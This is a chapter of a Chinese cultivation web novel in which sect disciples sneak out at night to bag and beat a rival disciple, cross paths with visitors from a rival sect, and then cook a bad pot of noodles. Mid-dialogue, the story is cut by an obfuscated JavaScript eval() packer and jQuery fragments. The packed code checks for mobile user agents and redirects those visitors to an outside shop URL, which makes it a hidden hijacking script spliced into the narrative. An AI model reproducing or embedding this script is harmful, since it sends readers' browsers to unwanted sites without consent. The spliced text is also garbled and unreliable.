入夜。
某个怕事之人在头上套了个黑色长衫,整张脸都被捂得严严实实,只能衣裳中的缝隙里勉强视物。
“怎么样?看不出来我是谁吧?”
宁岁禾洋洋得意地问。
面前几人立马竖起大拇指:“太牛了,师姐!”
“我也要来!”
满关跟江夏一人围了一个黑长衫,信心满满地站在宁岁禾旁边。
任竹喧默默点头:“完全看不出来。”
三人叉腰哈哈大笑。
“分配一下任务,竹喧帮我们望风,满关堵他嘴,别让他发出声音,我套麻袋,江夏立马把麻袋扣好!然后就可以……桀桀桀。”
宁岁禾猖狂大笑,“听明白了吗!”
“听明白了!”
另外两人立马高声附和。
三人鬼鬼祟祟摸出了院子,朝着白凌的宿舍溜去。
另一边。
谢昭顺着后山的小径混进了天和宗里。
下午那一眼实在太短,他只能察觉到一点宁岁禾细微的灵力波动,不清楚具体增长多少,这让他有些抓心挠肺。
这人的天赋到底如何?
谢昭挥开拦路的剑竹,神色冷淡。
“师兄啊师兄啊,”
后面,下午宁岁禾瞧见的那位温和的少年亲传气喘吁吁地追问上来,他还只是个柔弱不能自理的丹修,体力完全配不上这么长时间的奔跑,弯着腰撑着膝盖喘气。
“谢长老喊你去商量大比的事呢。”
凌知左右看了看,这才意识到他们俩已经踏入了天和宗的地界,挠头问:“师兄,你来这干嘛?”
刚好一队巡逻弟子路过,谢昭拉着凌知躲进了假山后面。
等人离开后,两人才出来。
谢昭没有回答凌知的话,抬脚就往写着“止戈”石牌的路上走去。
这里是天和宗的弟子住宿区,宁岁禾现在肯定在这里。
他倒要看看。
宁岁禾到底是怎么修炼的!
竹林的亭子里,温鹤声喝着茶,观赏着赵长老练剑。
后者行云流水的动作突然顿了一瞬。
“有人进来了。”他神色未变,看向温鹤声。
“知道。”温鹤声笑了笑,喝了口茶:“不用管。”
除了这个溜进来的孩子,宗门内那几个小兔崽子也是不安分的。
赵长老点点头,没有追问,再次抬剑:“今夜真是热闹啊。”
他挑起一片落下的竹叶,脚底贴着地面,步法快到看不清,雪白的剑尖在竹叶下飞速流转。
“明日……”温鹤声沉思片刻,“带孩子们试一下那把剑吧。”
赵长老动作没停:“都试试吗?”
温鹤声点头:“都试试吧。”
他抬起头看着那轮明月,叹息:“明心剑尊的传承,也总得有人传下去。”
飞雪啊。
这一代的孩子中,你会选择哪一个吗?
-
止戈峰。
宁岁禾几人猥琐地趴在白凌宿舍墙头,偷听里面人讲话。
“……我的……真是……凭……”
里面断断续续传来白凌的声音。
宁岁禾纠结地压低声音:“我听不清啊。”
满关脖子伸出去二里地:“我也是。”
“你们俩还是太菜了。”
江夏骄傲仰首,霸气挥袖:“我来!”
两人将信将疑地把位置让开。
江夏假模假样地听着,时不时点点头,恍然大悟似的哦几声。
宁岁禾深表怀疑:“你真的能听到吗?”
这里只是宿舍的院墙,里面还有个小院子呢,就算是再耳聪目明的修士,也不可能在这个距离下,隔着房门听到什么。
“师姐,你可不要小看我了。”
江夏优雅地站直身体,复述道:“他说,亲传的位置应该是他的,我们又没比他牛逼到哪去,凭什么让我们当亲传却不让他当?”
他噼里啪啦一顿说完,宁岁禾与满关对视一眼,眼里是满满的不信任。
“……”江夏见他们不信,气鼓鼓地从墙头上翻下去,“咱不是来打人的吗?上去干就完了,偷听什么!”
宁岁禾一愣。
对哦。
她利落地套上头套,一脚踹开房门。
里面的人猛地回头,一个是白凌,另一个是他的小跟班,也是他的室友。看到三个带着黑头套的人破门而入,两人皆是瞳孔骤缩,满目震惊。
白凌率先反应过来,刚准备开口,满关就随手捞了个什么塞进他嘴里。
趁着宁岁禾套麻袋的时间,江夏一手关门,一手果断掐诀抵在那舍友咽喉。
那人慌忙道:“我什么都没看见!”
宁岁禾已然给白凌套上了麻袋,闻言看过来,笑眯眯道:“你最好是。”
室友小鸡啄米似的点头。
下一秒,江夏果断打晕了他。
“有人看着还是不方便。”
江夏拍了拍手,突然给了麻袋一脚,“没素质的东西!”
满关也跟着踹了一脚,嘴里嚷嚷:“敢骂我师尊!找死!”
满关的师尊便是中午在食堂碰见的赵长老。
宁岁禾也跟着上蹿下跳地给了麻袋两拳,察觉到里面的人好像已经被打晕了,便制止了其他两人,将作案工具都收了起来。
“真没用,我才打了十七下!”满关把脑袋上的头套扯下来,忿忿。
江夏:“那你太慢了,我打了二十六下。”
“你们俩真无聊,还数这个?”
宁岁禾一边往院子外走,一边扯下头套:“我就主打一个尽兴——我去,怎么是你!”
院子外的阴影里,一抹黑色衣角缓慢晃动,月光慢慢照亮来者的半张脸,鼻子的阴影在月光下落在脸颊,显得谢昭那张本就精致的脸如同鬼魅。
“真是没想到,”他慢条斯理地开口,“我们天和宗首席晚上不修炼,居然会做这种偷鸡摸狗之事。”
宁岁禾垮着脸:“什么叫偷鸡摸狗,我这是行侠仗义!先别管这个,你给我小师妹弄哪去了?!”
任竹喧本是守在院口的,谢昭出现在这,肯定撞上她了。
谢昭却没有回答,他似乎是恼自己莫名其妙来这个地方看宁岁禾做这些莫名其妙的事情。
“我要举报你。”他咬牙切齿,似乎是想着今夜决不能一无所获,才决定做出这种损人不利己的事情。
宁岁禾无所谓地摊手:“你举呗。”
他又没有证据。
谢昭盯着她看了半晌,转身一声不吭地走进了阴影之中。
背影多了几分气急败坏。
“诶,不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676913|207511||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我问你话呢!”
宁岁禾意识到这人还没回答任竹喧在哪,顿时急了,上前一步就想拽住他,指尖快要触碰到少年衣角时,一声压着嗓子的惊叫从身后传来。
“我不是!哎呀,你先听我解释!你别过来啊,再过来我扔丹炉砸你了啊!”
三人呆呆转头,瞧见任竹喧从屏蔽阵法中破出,剑尖直指一位连连求饶的少年。
任竹喧冷声道:“青霄宗之人,来我天和宗有何贵干!”
“散步!我们过来散个步!”
凌知寄出一个巨大的丹炉挡下了任竹喧的攻击,趁机往谢昭的方向连滚带爬地扑过来:“大师兄你好恶毒!我是个丹修啊!!”
居然让孱弱的丹修去拖着健壮的剑修,自己却去偷偷摸摸地偷看别人!
太不是个人了!
凌知正欲继续,又察觉到天和宗的几个亲传像是看傻子一样看自己,羞愤地捂住脸,闭紧嘴,追着谢昭的方向娇羞跑走了。
天和宗四人:“……”
青霄宗的人是不是有病?
四人蛐蛐着青霄宗的人,一齐回了宁岁禾的院子。
打人还挺累的,满关又是个能吞一头牛的胃口,一坐下就捂着肚子哼唧:“我饿了。”
他这么一说,其他人也隐隐感觉到了饿意。
都是些正在长个子的少见,本身饭量就大,又是消耗最大的剑修。
宁岁禾自告奋勇:“我去偷个锅来。”
偷……个……锅……
三人面面相觑,反应过来的时候,宁岁禾已经风风火火地从食堂弄来了一个大锅,还顺来了一堆面肉菜。
她举着这口大黑锅:“谁来?”
宁岁禾倒是会做饭,但她不太会用这口锅,也不知道这里跟她那边的世界在做菜上是否有不一样,更主要的是……她院子里也没有可以烧柴的地方。
满关看上去就是那种只知道吃饭的家伙,不太可能会做饭,江夏……那更不用说了。
三人的目光殷切地看向任竹喧。
后者无辜地眨巴着眼睛,指着自己:“我?”
她犹豫道:“我倒是见过我奶奶做饭,但是没有实践……”
后面的话已经没人听了。
几人飞快在院子中央用树枝支了个简易的架子,下面堆了些从院内外抱来的落叶,生火煮水。
任竹喧纠结地站在锅前:“你们确定?”
三人重重点头:“加油!”
行吧。
任竹喧深呼吸一口,学着印象里奶奶的模样下起了面。
落叶被烧得噼里啪啦地响。
任竹喧看上去倒确实是有模有样,端上来的那碗面色和香绝对是合格了。
“哇!”几人惊叹,“看着还真不错。”
任竹喧有些害羞地挠挠头:“真的吗?那我还挺有天赋的……”
“我来试试!”宁岁禾率先动了筷子,塞了几根面条进嘴里。
在几人期待的目光中,宁岁禾艰难咽下,面无表情地肯定道:“可以。”
满关不疑有他,立马激动地夹起一大块面条塞进自己嘴里。
宁岁禾微笑地看向他。
“……”满关咀嚼的动作越来越慢,他盯着那碗面,缓缓捂住了自己的嘴,“有没有地方……”
宁岁禾友善地指了下侧边:“厕所在那。”